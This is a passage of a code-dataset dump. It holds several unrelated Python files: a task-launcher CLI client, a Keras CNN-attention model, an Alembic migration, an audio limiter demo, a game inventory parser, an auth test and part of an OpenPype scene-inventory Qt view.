sys.exit(1)\n r = requests.get(os.path.join(args.url, \"describe\", args.service))\n if r.status_code != 200:\n logger.error('incorrect result from \\'describe\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\nelif args.cmd == \"check\":\n if args.service not in serviceList:\n logger.fatal(\"ERROR: service '%s' not defined\", args.service)\n sys.exit(1)\n r = requests.get(os.path.join(args.url, \"check\", args.service), json=getjson(args.options))\n if r.status_code != 200:\n logger.error('incorrect result from \\'check\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\n if not args.json:\n print(result[\"message\"])\n sys.exit(0)\nelif args.cmd == \"launch\":\n if args.service not in serviceList:\n logger.fatal(\"ERROR: service '%s' not defined\", args.service)\n sys.exit(1)\n\n # for multi-part file sending\n files = {}\n docker_command = []\n\n for c in args.docker_command:\n orgc = c\n if c.startswith(\"@\"):\n with open(c[1:], \"rt\") as f:\n c = f.read()\n if os.path.exists(c):\n basename = os.path.basename(c)\n files[basename] = (basename, open(c, 'rb'))\n c = \"${TMP_DIR}/%s\" % basename\n # if json, explore for values to check local path values\n if c.startswith('{'):\n try:\n cjson = json.loads(c)\n except ValueError as err:\n logger.fatal(\"Invalid JSON parameter in %s: %s\", orgc, str(err))\n sys.exit(1)\n find_files_parameters(cjson, files)\n c = json.dumps(cjson)\n docker_command.append(c)\n\n if args.service not in serviceList:\n logger.fatal(\"ERROR: service '%s' not defined\", args.service)\n sys.exit(1)\n\n content = {\n \"docker\": {\n \"registry\": args.docker_registry,\n \"image\": args.docker_image,\n \"tag\": args.docker_tag,\n \"command\": docker_command\n },\n \"wait_after_launch\": args.wait_after_launch,\n \"trainer_id\": args.trainer_id,\n \"options\": getjson(args.options)\n }\n\n launch_url = os.path.join(args.url, \"launch\", args.service)\n r = None\n if len(files) > 0:\n r = requests.post(launch_url, files=files, data = {'content': json.dumps(content)})\n else:\n r = requests.post(launch_url, json=content)\n if r.status_code != 200:\n logger.error('incorrect result from \\'launch\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\n if not args.json:\n print(result)\n sys.exit(0)\nelif args.cmd == \"status\":\n r = requests.get(os.path.join(args.url, \"status\", args.task_id))\n if r.status_code != 200:\n logger.error('incorrect result from \\'status\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\n if not args.json:\n times = []\n current_time = int(result[\"current_time\"])\n result.pop(\"current_time\", None)\n for k in result:\n if k.endswith('_time'):\n times.append(k)\n sorted_times = sorted(times, key=lambda k: int(result[k]))\n last_update = ''\n if sorted_times:\n upd = current_time - int(result[sorted_times[-1]])\n last_update = \" - updated %d seconds ago\" % upd\n print(\"TASK %s - status %s (%s)%s\" % (\n args.task_id, result.get('status'), result.get('message'), last_update))\n if \"service\" in result:\n print(\"SERVICE %s - RESOURCE %s - CONTAINER %s\" % (\n result['service'], result.get('resource'), result.get('container_id')))\n print(\"ATTACHED FILES: %s\" % ', '.join(result['files']))\n print(\"TIMELINE:\")\n last = -1\n delay = []\n for k in sorted_times:\n if k != \"updated_time\":\n current = int(result[k])\n delta = current-last if last != -1 else 0\n delay.append(\"(%ds)\" % delta)\n last = current\n delay.append('')\n idx = 1\n for k in sorted_times:\n if k != \"updated_time\":\n current = int(result[k])\n date = datetime.fromtimestamp(current).isoformat(' ')\n print(\"\\t%-12s\\t%s\\t%s\" % (k[:-5], date, delay[idx]))\n idx += 1\n content = result[\"content\"]\n content = json.loads(content)\n print(\"CONTENT\")\n print(json.dumps(content, indent=True))\n sys.exit(0)\nelif args.cmd == \"dt\":\n r = requests.get(os.path.join(args.url, \"list_tasks\", args.prefix + '*'))\n if r.status_code != 200:\n logger.error('incorrect result from \\'list_tasks\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\n if not args.json:\n print('Delete %d tasks:' % len(result))\n print(\"\\t%-32s\\t%-20s\\t%-16s\\t%-10s\\t%s\" % (\"TASK_ID\", \"LAUNCH DATE\", \"IMAGE\", \"STATUS\", \"MESSAGE\"))\n for k in sorted(result, key=lambda k: int(k[\"queued_time\"])):\n date = datetime.fromtimestamp(int(k[\"queued_time\"])).isoformat(' ')\n print(\"\\t%-32s\\t%-20s\\t%-16s\\t%-10s\\t%s\" % (\n k[\"task_id\"], date, k[\"image\"], k[\"status\"], k.get(\"message\")))\n if confirm():\n for k in result:\n r = requests.get(os.path.join(args.url, \"del\", k[\"task_id\"]))\n if r.status_code != 200:\n logger.error('incorrect result from \\'delete_task\\' service: %s', r.text)\n sys.exit(1)\n sys.exit(0)\nelif args.cmd == \"terminate\":\n r = requests.get(os.path.join(args.url, \"terminate\", args.task_id))\n if r.status_code != 200:\n logger.error('incorrect result from \\'terminate\\' service: %s', r.text)\n sys.exit(1)\n result = r.json()\n if not args.json:\n print(result[\"message\"])\n sys.exit(0) \nelif args.cmd == \"file\":\n r = requests.get(os.path.join(args.url, \"file\", args.task_id, args.filename))\n if r.status_code != 200:\n logger.error('incorrect result from \\'log\\' service: %s', r.text)\n sys.exit(1)\n print(r.text)\n sys.exit(0)\n\nprint(json.dumps(result))\n","sub_path":"client/launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":12961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"341533786","text":"import keras\r\nimport tensorflow as tf\r\nfrom keras.models import Model\r\nfrom keras.layers import Input, concatenate\r\nfrom keras.layers import GRU, Bidirectional, LSTM\r\nfrom keras.layers import BatchNormalization\r\nfrom keras.layers import Reshape, Dropout, Dense, Flatten, Conv3D, Activation, AveragePooling3D, Permute\r\n\r\nfrom keras import models\r\nfrom keras import layers\r\n\r\n\r\ndef tdcnn(main_input, time):\r\n pool_size1 = (1, 4, 2)\r\n pool_size2 = (1, 2, 4)\r\n\r\n activation_name = 'elu'\r\n\r\n # Input\r\n main_batch_norm = BatchNormalization()(main_input)\r\n\r\n conv3d = Conv3D(kernel_size=(5, 4, 2), strides=(1, 1, 1), filters=128, padding='same')(main_input)\r\n batch_norm = BatchNormalization()(conv3d)\r\n conv = Activation(activation_name)(batch_norm)\r\n\r\n up_sample1 = AveragePooling3D(pool_size=pool_size1, strides=(1, 1, 1), padding='same')(conv)\r\n up_sample2 = AveragePooling3D(pool_size=pool_size2, strides=(1, 1, 1), padding='same')(conv)\r\n conv_concat = concatenate([main_batch_norm, conv, up_sample1, up_sample2])\r\n\r\n conv_1d = Conv3D(kernel_size=(1, 1, 1), strides=(1, 1, 1), filters=16)(conv_concat)\r\n batch_norm = BatchNormalization()(conv_1d)\r\n activation = Activation(activation_name)(batch_norm)\r\n\r\n bidir_rnn = Reshape((time, -1))(activation)\r\n bidir_rnn1 = Bidirectional(LSTM(100, dropout=0.5, recurrent_dropout=0.5, return_sequences=True))(bidir_rnn)\r\n bidir_rnn2 = Bidirectional(LSTM(100, dropout=0.5, recurrent_dropout=0.5, return_sequences=True))(bidir_rnn1)\r\n\r\n # bidir_rnn1 = Bidirectional(GRU(100, dropout=0.5, recurrent_dropout=0.5, return_sequences=True))(bidir_rnn)\r\n # bidir_rnn2 = Bidirectional(GRU(100, dropout=0.5, recurrent_dropout=0.5, return_sequences=True))(bidir_rnn1)\r\n\r\n permute = Permute((2, 1))(bidir_rnn2)\r\n dense_1 = Dense(X_train.shape[1:], activation='softmax')(permute)\r\n prob = layers.Permute((2, 1), name='attention_vec')(dense_1)\r\n attention_mul = layers.multiply([main_input, prob])\r\n attention_mul = layers.Flatten()(attention_mul)\r\n flat = Flatten()(attention_mul)\r\n drop = Dropout(0.5)(flat)\r\n dense_2 = Dense(200)(drop)\r\n main_output = Dense(2, activation='softmax')(dense_2)\r\n\r\n return main_output\r\n\r\nX_train, X_test, Y_train, Y_test = '', '', '', ''\r\n\r\nmain_input = Input(shape=(X_train.shape[1:]), dtype='float32', name='main_input')\r\nmodel = tdcnn(main_input, X_train.shape[1])\r\nmodel = Model(inputs=main_input, output=model)\r\noptimizer = keras.optimizers.Adam(lr=1e-3)\r\nmodel.compile(optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy',\r\n tf.keras.metrics.Precision(name='precision'),\r\n tf.keras.metrics.Recall(name='recall')])\r\n\r\nmodel.summary()","sub_path":"3dcnn+attention.py","file_name":"3dcnn+attention.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"16224480","text":"\"\"\"empty message\n\nRevision ID: 024a8f2a58e1\nRevises: 4b2f52b7aab3\nCreate Date: 2021-02-17 14:28:54.999583\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '024a8f2a58e1'\ndown_revision = '4b2f52b7aab3'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('cart', 'product_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.alter_column('cart', 'user_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.create_unique_constraint(None, 'cart', ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'cart', type_='unique')\n op.alter_column('cart', 'user_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n op.alter_column('cart', 'product_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/024a8f2a58e1_.py","file_name":"024a8f2a58e1_.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"435356569","text":"#!/usr/bin/env python\n\nfrom ATK.Core import DoubleInPointerFilter, DoubleOutPointerFilter\nfrom ATK.Dynamic import DoubleAttackReleaseFilter, DoubleGainCompressorFilter, DoublePowerFilter\nfrom ATK.Tools import DoubleApplyGainFilter\n\nimport matplotlib.pyplot as plt\n\nsample_rate = 96000\n\nimport sys, os\nsys.path.append(os.path.dirname(os.path.realpath(__file__))+\"/..\")\nfrom display.compare_spec import plot_me\n\ndef filter(input):\n import numpy as np\n output = np.zeros(input.shape, dtype=np.float64)\n\n infilter = DoubleInPointerFilter(input, False)\n infilter.set_input_sampling_rate(sample_rate)\n\n powerfilter = DoublePowerFilter(1)\n powerfilter.set_input_sampling_rate(sample_rate)\n powerfilter.set_input_port(0, infilter, 0)\n powerfilter.set_memory(0)\n\n attackreleasefilter = DoubleAttackReleaseFilter(1)\n attackreleasefilter.set_input_sampling_rate(sample_rate)\n attackreleasefilter.set_input_port(0, powerfilter, 0)\n attackreleasefilter.set_attack(0)\n attackreleasefilter.set_release(np.exp(-1/(sample_rate*10e-3)))\n\n gainfilter = DoubleGainCompressorFilter(1)\n gainfilter.set_input_sampling_rate(sample_rate)\n gainfilter.set_input_port(0, attackreleasefilter, 0)\n gainfilter.set_threshold(0.0099)\n gainfilter.set_ratio(10000)\n gainfilter.set_softness(1)\n\n applygainfilter = DoubleApplyGainFilter(1)\n applygainfilter.set_input_sampling_rate(sample_rate)\n applygainfilter.set_input_port(0, gainfilter, 0)\n applygainfilter.set_input_port(1, infilter, 0)\n\n outfilter = DoubleOutPointerFilter(output, False)\n outfilter.set_input_sampling_rate(sample_rate)\n outfilter.set_input_port(0, applygainfilter, 0)\n outfilter.process(input.shape[1])\n\n return output\n\nif __name__ == \"__main__\":\n import numpy as np\n samples = 2000000\n freq_max = 20000\n\n t = np.arange(samples, dtype=np.float64).reshape(1, -1) / sample_rate\n d = np.sin(np.pi * (sample_rate * freq_max / samples * (t + .1)) * t)\n\n np.savetxt(\"input.txt\", d)\n out = filter(d)\n np.savetxt(\"output.txt\", out)\n plt.figure()\n plot_me((d[0], out[0]), sample_rate)\n plt.gcf().suptitle(\"Limiter\")\n plt.legend()\n plt.show()\n","sub_path":"Examples/dynamic/display_limiter.py","file_name":"display_limiter.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"198324846","text":"from pgoapi.protos.pogoprotos.inventory.item.item_id_pb2 import ITEM_UNKNOWN, \\\n ITEM_TROY_DISK, ITEM_X_ATTACK, ITEM_X_DEFENSE, ITEM_X_MIRACLE, \\\n ITEM_POKEMON_STORAGE_UPGRADE, ITEM_ITEM_STORAGE_UPGRADE\n\n\ndef parse_inventory_delta(inv_response):\n inventory_items = inv_response.get('inventory_delta', {}).get(\n 'inventory_items', [])\n inventory = {}\n no_item_ids = (\n ITEM_UNKNOWN,\n ITEM_TROY_DISK,\n ITEM_X_ATTACK,\n ITEM_X_DEFENSE,\n ITEM_X_MIRACLE,\n ITEM_POKEMON_STORAGE_UPGRADE,\n ITEM_ITEM_STORAGE_UPGRADE\n )\n for item in inventory_items:\n iid = item.get('inventory_item_data', {})\n if 'item' in iid and iid['item']['item_id'] not in no_item_ids:\n item_id = iid['item']['item_id']\n count = iid['item'].get('count', 0)\n inventory[item_id] = count\n elif 'egg_incubators' in iid and 'egg_incubator' in iid['egg_incubators']:\n for incubator in iid['egg_incubators']['egg_incubator']:\n item_id = incubator['item_id']\n inventory[item_id] = inventory.get(item_id, 0) + 1\n return inventory\n\n\ndef parse_player_stats(resp_get_inventory):\n inventory_items = resp_get_inventory.get('inventory_delta', {}).get(\n 'inventory_items', [])\n for item in inventory_items:\n item_data = item.get('inventory_item_data', {})\n if 'player_stats' in item_data:\n return item_data['player_stats']\n return {}","sub_path":"mrmime/responses.py","file_name":"responses.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"414365642","text":"\"Test MetisNoAuth\"\nimport pytest\nfrom aiohttp import web\nfrom aiohttp.test_utils import TestClient, TestServer\n\nfrom metis_client import MetisNoAuth\n\n\n@pytest.fixture\nasync def cli(aiohttp_client) -> TestClient:\n \"Create test client\"\n return await aiohttp_client(TestServer(web.Application()))\n\n\nasync def test_auth(cli: TestClient):\n \"Test no authentication\"\n authenticator = MetisNoAuth()\n base_url = cli.make_url(\"\")\n assert (\n await authenticator.should_update(cli.session, base_url) is False\n ), \"Update is not needed before authentication\"\n assert await authenticator.authenticate(\n cli.session, base_url\n ), \"Authenticaion is successful\"\n assert (\n await authenticator.should_update(cli.session, base_url) is False\n ), \"Update is not needed after authentication\"\n","sub_path":"tests/models/test_auth_no_auth.py","file_name":"test_auth_no_auth.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"451120058","text":"import collections\nimport logging\nfrom functools import partial\n\nfrom Qt import QtWidgets, QtCore\nimport qtawesome\nfrom bson.objectid import ObjectId\n\nfrom openpype.client import (\n get_version_by_id,\n get_versions,\n get_hero_versions,\n get_representation_by_id,\n get_representations,\n)\nfrom openpype import style\nfrom openpype.pipeline import (\n legacy_io,\n HeroVersionType,\n update_container,\n remove_container,\n discover_inventory_actions,\n)\nfrom openpype.modules import ModulesManager\nfrom openpype.tools.utils.lib import (\n get_progress_for_repre,\n iter_model_rows,\n format_version\n)\n\nfrom .switch_dialog import SwitchAssetDialog\nfrom .model import InventoryModel\n\n\nDEFAULT_COLOR = \"#fb9c15\"\n\nlog = logging.getLogger(\"SceneInventory\")\n\n\nclass SceneInventoryView(QtWidgets.QTreeView):\n data_changed = QtCore.Signal()\n hierarchy_view_changed = QtCore.Signal(bool)\n\n def __init__(self, parent=None):\n super(SceneInventoryView, self).__init__(parent=parent)\n\n # view settings\n self.setIndentation(12)\n self.setAlternatingRowColors(True)\n self.setSortingEnabled(True)\n self.setSelectionMode(self.ExtendedSelection)\n self.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)\n self.customContextMenuRequested.connect(self._show_right_mouse_menu)\n self._hierarchy_view = False\n self._selected = None\n\n manager = ModulesManager()\n self.sync_server = manager.modules_by_name[\"sync_server\"]\n self.sync_enabled = self.sync_server.enabled\n\n def _set_hierarchy_view(self, enabled):\n if enabled == self._hierarchy_view:\n return\n self._hierarchy_view = enabled\n self.hierarchy_view_changed.emit(enabled)\n\n def _enter_hierarchy(self, items):\n self._selected = set(i[\"objectName\"] for i in items)\n self._set_hierarchy_view(True)\n self.data_changed.emit()\n self.expandToDepth(1)\n self.setStyleSheet(\"\"\"\n QTreeView {\n border-color: #fb9c15;\n }\n \"\"\")\n\n def _leave_hierarchy(self):\n self._set_hierarchy_view(False)\n self.data_changed.emit()\n self.setStyleSheet(\"QTreeView {}\")\n\n def _build_item_menu_for_selection(self, items, menu):\n if not items:\n return\n\n repre_ids = []\n for item in items:\n item_id = ObjectId(item[\"representation\"])\n if item_id not in repre_ids:\n repre_ids.append(item_id)\n\n project_name = legacy_io.active_project()\n repre_docs = get_representations(\n project_name, representation_ids=repre_ids, fields=[\"parent\"]\n )\n\n version_ids = []\n for repre_doc in repre_docs:\n version_id = repre_doc[\"parent\"]\n if version_id not in version_ids:\n version_ids.append(version_id)\n\n loaded_versions = get_versions(\n project_name, version_ids=version_ids, hero=True\n )\n\n loaded_hero_versions = []\n versions_by_parent_id = collections.defaultdict(list)\n version_parents = []\n for version in loaded_versions:\n if version[\"type\"] == \"hero_version\":\n loaded_hero_versions.append(version)\n else:\n parent_id = version[\"parent\"]\n versions_by_parent_id[parent_id].append(version)\n if parent_id not in version_parents:\n version_parents.append(parent_id)\n\n all_versions = get_versions(\n project_name, subset_ids=version_parents, hero=True\n )\n hero_versions = []\n versions = []\n for version in all_versions:\n if version[\"type\"] == \"hero_version\":\n hero_versions.append(version)\n else:\n versions.append(version)\n\n has_loaded_hero_versions = len(loaded_hero_versions) > 0\n has_available_hero_version = len(hero_versions) > 0\n has_outdated = False\n\n for version in versions:\n parent_id = version[\"parent\"]\n current_versions = versions_by_parent_id[parent_id]\n for current_version in current_versions:\n if current_version[\"name\"] < version[\"name\"]:\n has_outdated = True\n break\n\n if has_outdated:\n break\n\n switch_to_versioned = None\n if has_loaded_hero_versions:\n def _on_switch_to_versioned(items):\n repre_ids = []\n for item in items:\n item_id = ObjectId(item[\"representation\"])\n if item_id not in repre_ids:\n repre_ids.append(item_id)\n\n repre_docs = get_representations(\n project_name,\n representation_ids=repre_ids,\n fields=[\"parent\"]\n )\n\n version_ids = []\n version_id_by_repre_id = {}\n for repre_doc in repre_docs:\n version_id = repre_doc[\"parent\"]\n version_id_by_repre_id[repre_doc[\"_id\"]] = version_id\n if version_id not in version_ids:\n version_ids.append(version_id)\n\n hero_versions = get_hero_versions(\n project_name,\n version_ids=version_ids,\n fields=[\"version_id\"]\n )\n\n version_ids = set()\n for hero_version in hero_versions:\n version_id = hero_version[\"version_id\"]\n version_ids.add(version_id)\n hero_version_id = hero_version[\"_id\"]\n for _repre_id, current_version_id in (\n version_id_by_repre_id.items()\n ):\n if current_version_id == hero_version_id:\n version_id_by_repre_id[_repre_id] = version_id\n\n version_docs = get_versions(\n project_name,\n version_ids=version_ids,\n fields=[\"name\"]\n )\n version_name_by_id = {}\n for version_doc in version_docs:\n version_name_by_id[version_doc[\"_id\"]] = \\\n version_doc[\"name\"]\n\n for item in items:\n repre_id = ObjectId(item[\"representation\"])\n version_id = version_id_by_repre_id.get(repre_id)\n version_name = version_name_by_id.get(version_id)\n if version_name is not None:\n try:\n update_container(item, version_name)\n except AssertionError:\n self._show_version_error_dialog(\n version_name, [item]\n )\n log.warning(\"Update failed\", exc_info=True)\n\n self.data_changed.emit()\n\n update_icon = qtawesome.icon(\n \"fa.asterisk\",\n color=DEFAULT_COLOR\n )\n switch_to_versioned = QtWidgets.QAction(\n update_icon,\n \"Switch to versioned\",\n menu\n )\n switch_to_versioned.triggered.connect(\n lambda: _on_switch_to_versioned(items)\n )\n\n update_to_latest_action = None\n if has_outdated or has_loaded_hero_versions:\n # update to latest version\n def _on_update_to_latest(items):\n for item in items:\n try:\n update_container(item, -1)\n except AssertionError:\n self._show_version_error_dialog(None, [item])\n log.warning(\"Update failed\", exc_info=True)\n self.data_changed.emit()\n\n update_icon = qtawesome.icon(\n \"fa.angle-double-up\",\n color=DEFAULT_COLOR\n )\n update_to_latest_action = QtWidgets.QAction(\n update_icon,\n \"Update to latest\",\n menu\n )\n update_to_latest_action.triggered.connect(\n lambda: _on_update_to_latest(items)\n )\n\n change_to_hero = None\n if has_available_hero_version:\n # change to hero version\n def _on_update_to_hero(items):\n for item in items:\n try:\n update_container(item, HeroVersionType(-1))\n except AssertionError:\n self._show_version_error_dialog('hero', [item])\n log.warning(\"Update failed\", exc_info=True)\n self.data_changed.emit()\n\n # TODO change icon\n change_icon = qtawesome.icon(\n \"fa.asterisk\",\n color=\"#00b359\"\n )\n change_to_hero = QtWidgets.QAction(\n change_icon,\n \"Change to hero\",\n menu\n )\n change_to_hero.triggered.connect(\n lambda: _on_update_to_hero(items)\n )\n\n # set version\n set_version_icon = qtawesome.icon(\"fa.hashtag\", color=DEFAULT_COLOR)\n set_version_action = QtWidgets.QAction(\n set_version_icon,\n \"Set version\",\n menu\n )\n set_version_action.triggered.connect(\n lambda: self._show_version_dialog(items))\n\n # switch asset\n switch_asset_icon = qtawesome.icon(\"fa.sitemap\", color=DEFAULT_COLOR)\n switch_asset_action = QtWidgets.QAction(\n switch_asset_icon,\n \"Switch Asset\",\n menu\n )\n switch_asset_action.triggered.connect(\n lambda: self._show_switch_dialog(items))\n\n # remove\n remove_icon = qtawesome.icon(\"fa.remove\", color=DEFAULT_COLOR)\n remove_action = QtWidgets.QAction(remove_icon, \"Remove items\", menu)\n remove_action.triggered.connect(\n lambda: self._show_remove_warning_dialog(items))\n\n # add the actions\n if switch_to_versioned:\n menu.addAction(switch_to_versioned)\n\n if update_to_latest_action:\n menu.addAction(update_to_latest_action)\n\n if change_to_hero:\n menu.addAction(change_to_hero)\n\n menu.addAction(set_version_action)\n menu.addAction(switch_asset_action)\n\n menu.addSeparator()\n\n menu.addAction(remove_action)\n\n self._handle_sync_server(menu, repre_ids)\n\n def _handle_sync_server(self, menu, repre_ids):\n \"\"\"\n Adds actions for download/upload when SyncServer is enabled\n\n Args:\n menu (OptionMenu)\n repre_ids (list) of object_ids\n Returns:\n (OptionMenu)\n \"\"\"\n if not self.sync_enabled:\n return\n\n menu.addSeparator()\n\n download_icon = qtawesome.icon(\"fa.download\", color=DEFAULT_COLOR)\n download_active_action = QtWidgets.QAction(\n download_icon,\n \"Download\",\n menu\n )\n download_active_action.triggered.connect(\n lambda: self._add_sites(repre_ids, 'active_site'))\n\n upload_icon = qtawesome.icon(\"fa.upload\", color=DEFAULT_COLOR)\n upload_remote_action = QtWidgets.QAction(\n upload_icon,\n \"Upload\",\n menu\n )\n upload_remote_action.triggered.connect(\n lambda: self._add_sites(repre_ids, 'remote_site'))\n\n menu.addAction(download_active_action)\n menu.addAction(upload_remote_action)\n\n def _add_sites(self, repre_ids, side):\n \"\"\"\n (Re)sync all 'repre_ids' to specific site.\n\n It checks if opposite site has fully available content to limit\n accidents. (ReSync active when no remote >> losing active content)\n\n Args:\n repre_ids (list)\n side (str): 'active_site'|'remote_site'\n \"\"\"\n project_name = legacy_io.Session[\"AVALON_PROJECT\"]\n active_site = self.sync_server.get_active_site(project_name)\n remote_site = self.sync_server.get_remote_site(project_name)\n\n repre_docs = get_representations(\n project_name, representation_ids=repre_ids\n )\n repre_docs_by_id = {\n repre_doc[\"_id\"]: repre_doc\n for repre_doc in repre_docs\n }\n for repre_id in repre_ids:\n repre_doc = repre_docs_by_id.get(repre_id)\n if not repre_doc:\n continue\n\n progress = get_progress_for_repre(\n repre_doc,\n active_site,\n remote_site\n )\n if side == \"active_site\":\n # check opposite from added site, must be 1 or unable to sync\n check_progress = progress[remote_site]\n site = active_site\n else:\n check_progress = progress[active_site]\n site = remote_site\n\n if check_progress == 1:\n self.sync_server.add_site(\n project_name, repre_id, site, force=True\n )\n\n self.data_changed.emit()\n\n def _build_item_menu(self, items=None):\n \"\"\"Create menu for the selected items\"\"\"\n\n if not items:\n items = []\n\n menu = QtWidgets.QMenu(self)\n\n # add the actions\n self._build_item_menu_for_selection(items, menu)\n\n # These two actions should be able to work without selection\n # expand all items\n expandall_action = QtWidgets.QAction(menu, text=\"Expand all items\")\n expandall_action.triggered.connect(self.expandAll)\n\n # collapse all items\n collapse_action = QtWidgets.QAction(menu, text=\"Collapse all items\")\n collapse_action.triggered.connect(self.collapseAll)\n\n menu.addAction(expandall_action)\n menu.addAction(collapse_action)\n\n custom_actions = self._get_custom_actions(containers=items)\n if custom_actions:\n submenu = QtWidgets.QMenu(\"Actions\", self)\n for action in custom_actions:\n color = action.color or DEFAULT_COLOR\n icon = qtawesome.icon(\"fa.%s\" % action.icon, color=color)\n action_item = QtWidgets.QAction(icon, action.label, submenu)\n action_item.triggered.connect(\n partial(self._process_custom_action, action, items))\n\n submenu.addAction(action_item)\n\n menu.addMenu(submenu)\n\n # go back to flat view\n if self._hierarchy_view:\n back_to_flat_icon = qtawesome.icon(\"fa.list\", color=DEFAULT_COLOR)\n back_to_flat_action = QtWidgets.QAction(\n back_to_flat_icon,\n \"Back to Full-View\",\n menu\n )\n back_to_flat_action.triggered.connect(self._leave_hierarchy)\n\n # send items to hierarchy view\n enter_hierarchy_icon = qtawesome.icon(\"fa.indent\", color=\"#d8d8d8\")\n enter_hierarchy_action = QtWidgets.QAction(\n enter_hierarchy_icon,\n \"Cherry-Pick (Hierarchy)\",\n menu\n )\n enter_hierarchy_action.triggered.connect(\n lambda: self._enter_hierarchy(items))\n\n if items:\n menu.addAction(enter_hierarchy_action)\n\n if self._hierarchy_view:\n menu.addAction(back_to_flat_action)\n\n return menu\n\n def _get_custom_actions(self, containers):\n \"\"\"Get the registered Inventory Actions\n\n Args:\n containers(list): collection of containers\n\n Returns:\n list: collection of filter and initialized actions\n \"\"\"\n\n def sorter(Plugin):\n \"\"\"Sort based on order attribute of the plugin\"\"\"\n return Plugin.order\n\n # Fedd an empty dict if no selection, this will ensure the compat\n # lookup always work, so plugin can interact with Scene Inventory\n # reversely.\n containers = containers or [dict()]\n\n # Check which action will be available in the menu\n Plugins = discover_inventory_actions()\n compatible = [p() for p in Plugins if\n any(p.is_compatible(c) for c in containers)]\n\n return sorted(compatible, key=sorter)\n\n def _process_custom_action(self, action, containers):\n \"\"\"Run action and if results are returned positive update the view\n\n If the result is list or dict, will select view items by the result.\n\n Args:\n action (InventoryAction): Inventory Action instance\n containers (list): Data of currently selected items\n\n Returns:\n None\n \"\"\"\n\n result = action.process(containers)\n if result:\n self.data_changed.emit()\n\n if isinstance(result, (list, set)):\n self._select_items_by_action(result)\n\n if isinstance(result, dict):\n self._select_items_by_action(\n result[\"objectNames\"], result[\"options\"]\n )\n\n def _select_items_by_action(self, object_names, options=None):\n \"\"\"Select view items by the result of action\n\n Args:\n object_names (list or set): A list/set of container object name\n options (dict): GUI operation options.\n\n Returns:\n None\n\n \"\"\"\n options = options or dict()\n\n if options.get(\"clear\", True):\n self.clearSelection()\n\n object_names = set(object_names)\n if (\n self._hierarchy_view\n and not self._selected.issuperset(object_names)\n ):\n # If any container not in current cherry-picked view, update\n # view before selecting them.\n self._selected.update(object_names)\n self.data_changed.emit()\n\n model = self.model()\n selection_model = self.selectionModel()\n\n select_mode = {\n \"select\": selection_model.Select,\n \"deselect\": selection_model.Deselect,\n \"toggle\": selection_model.Toggle,\n }[options.get(\"mode\", \"select\")]\n\n for index in iter_model_rows(model, 0):\n item = index.data(InventoryModel.ItemRole)\n if item.get(\"isGroupNode\"):\n continue\n\n name = item.get(\"objectName\")\n if name in object_names:\n self.scrollTo(index) # Ensure item is visible\n flags = select_mode | selection_model.Rows\n selection_model.select(index, flags)\n\n object_names.remove(name)\n\n if len(object_names) == 0:\n break\n\n def _show_right_mouse_menu(self, pos):\n \"\"\"Display the menu when at the position of the item clicked\"\"\"\n\n globalpos = self.viewport().mapToGlobal(pos)\n\n if not self.selectionModel().hasSelection():\n print(\"No selection\")\n # Build menu without selection, feed an empty list\n menu = self._build_item_menu()\n menu.exec_(globalpos)\n return\n\n active = self.currentIndex() # index under mouse\n active = active.sibling(active.row(), 0) # get first column\n\n # move index under mouse\n indices = self.get_indices()\n if active in indices:\n indices.remove(active)\n\n indices.append(active)\n\n # Extend to the sub-items\n all_indices = self._extend_to_children(indices)\n items = [dict(i.data(InventoryModel.ItemRole)) for i in all_indices\n if i.parent().isValid()]\n\n if self._hierarchy_view:\n # Ensure no group item\n items = [n for n in items if not n.get(\"isGroupNode\")]\n\n menu = self._build_item_menu(items)\n menu.exec_(globalpos)\n\n def get_indices(self):\n \"\"\"Get the selected rows\"\"\"\n selection_model = self.selectionModel()\n return selection_model.selectedRows()\n\n def _extend_to_children(self, indices):\n \"\"\"Extend the indices to the children indices.\n\n Top-level indices are extended to its children indices. Sub-items\n are kept as is.\n\n Args:\n indices (list): The indices to extend.\n\n Returns:\n list: The children indices\n\n \"\"\"\n def get_children(i):\n model = i.model()\n rows = model.rowCount(parent=i)\n for row in range(rows):\n child = model.index(row, 0, parent=i)\n yield child\n\n subitems = set()\n for i in indices:\n valid_parent = i.parent().isValid()\n if valid_parent and i not in subitems:\n subitems.add(i)\n\n if self._hierarchy_view:\n # Assume this is a group item\n for child in get_children(i):\n subitems.add(child)\n else:\n # is top level item\n for child in get_children(i):\n subitems.add(child)\n\n return list(subitems)\n\n def _show_version_dialog(self, items):\n \"\"\"Create a dialog with the available versions for the selected file\n\n Args:\n items (list): list of items to run the \"set_version\" for\n\n Returns:\n None\n \"\"\"\n\n active = items[-1]\n\n project_name = legacy_io.active_project()\n # Get available versions for active representation\n repre_doc = get_representation_by_id(\n project_name,\n active[\"representation\"],\n fields=[\"parent\"]\n )\n\n repre_version_doc = get_version_by_id(\n 